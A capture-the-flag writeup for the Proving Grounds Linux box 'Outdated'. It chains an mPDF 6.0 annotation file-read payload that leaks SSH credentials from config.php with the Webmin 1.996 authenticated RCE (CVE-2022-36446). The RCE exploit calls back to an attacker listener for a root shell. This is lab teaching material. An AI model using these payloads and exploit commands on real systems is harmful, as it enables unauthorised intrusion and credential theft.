# Outdated Writeup - Proving Grounds

> Easy Linux box where an mPDF HTML-to-PDF converter leaks a config file through its annotation file-read, giving SSH credentials. A localhost Webmin 1.996 is then exploited with its authenticated RCE (CVE-2022-36446), which runs as root, for a root shell.

- **URL:** https://hackindex.io/writeups/outdated
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** mpdf, lfi, webmin, rce, privilege-escalation, cve-2022-36446
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Outdated runs an HTML-to-PDF converter built on mPDF 6.0, whose annotation feature reads local files into the generated PDF. That leaks a config file with service credentials for SSH. A localhost-only Webmin 1.996 is then exploited with its authenticated RCE, which runs as root, for a root shell.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE    SERVICE VERSION
# 22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
# 80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
# |_http-title: Convert HTML to PDF Online
# 10000/tcp filtered snet-sensor-mgmt
```

SSH, an HTML-to-PDF web app on 80, and a filtered port 10000. Fuzz the web root.

### Content discovery

Fuzz for files and directories.

```bash
ffuf -w /opt/seclists/Discovery/Web-Content/raft-small-words.txt -u http://$TARGET_IP/FUZZ -e .php
# config                  [Status: 301]
# config/config.php       [Status: 200]
```

A `/config/config.php` exists. The app converts HTML to PDF; running exiftool on a generated PDF identifies the library as mPDF 6.0.

## Exploitation

### mPDF annotation file read

mPDF renders an `<annotation>` tag that embeds a local file into the PDF. Submit HTML containing an annotation pointing at the config file.

```xml
<annotation file="/var/www/html/config/config.php" content="/var/www/html/config/config.php" icon="Graph" title="Attached File" pos-x="195" />
```

The generated PDF embeds `config.php`, which holds credentials for `svc-account`. Log in over SSH.

```bash
ssh svc-account@$TARGET_IP
# svc-account@outdated:~$ id
# uid=1000(svc-account) gid=1000(svc-account) groups=1000(svc-account)
```

Shell as `svc-account`. Port 10000 is Webmin bound to localhost; forward it out over SSH.

## Privilege Escalation

### Webmin 1.996 authenticated RCE (CVE-2022-36446)

Forward the port, then confirm Webmin 1.996 via `/etc/webmin/version`.

```bash
ssh -fN -L 10000:localhost:10000 svc-account@$TARGET_IP
```

Webmin 1.996 is vulnerable to CVE-2022-36446, an authenticated RCE in the Software Package Updates module. The Webmin daemon runs as root, so the exploit lands a root shell. Start a listener and run the exploit with the svc-account credentials.

```bash
python3 50998.py -t https://localhost -u svc-account -p '$SVC_PASSWORD' -l $ATTACKER_IP -lp $ATTACKER_PORT
# $ nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from outdated
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

Webmin runs as root, so the authenticated RCE returns a root shell directly. No separate privilege escalation is needed.

Related

## References

- [Exploit-DB 50998](https://www.exploit-db.com/exploits/50998) - Webmin 1.996 authenticated remote code execution (CVE-2022-36446).
- [Exploit-DB 50995](https://www.exploit-db.com/exploits/50995) - mPDF local file read via the annotation feature.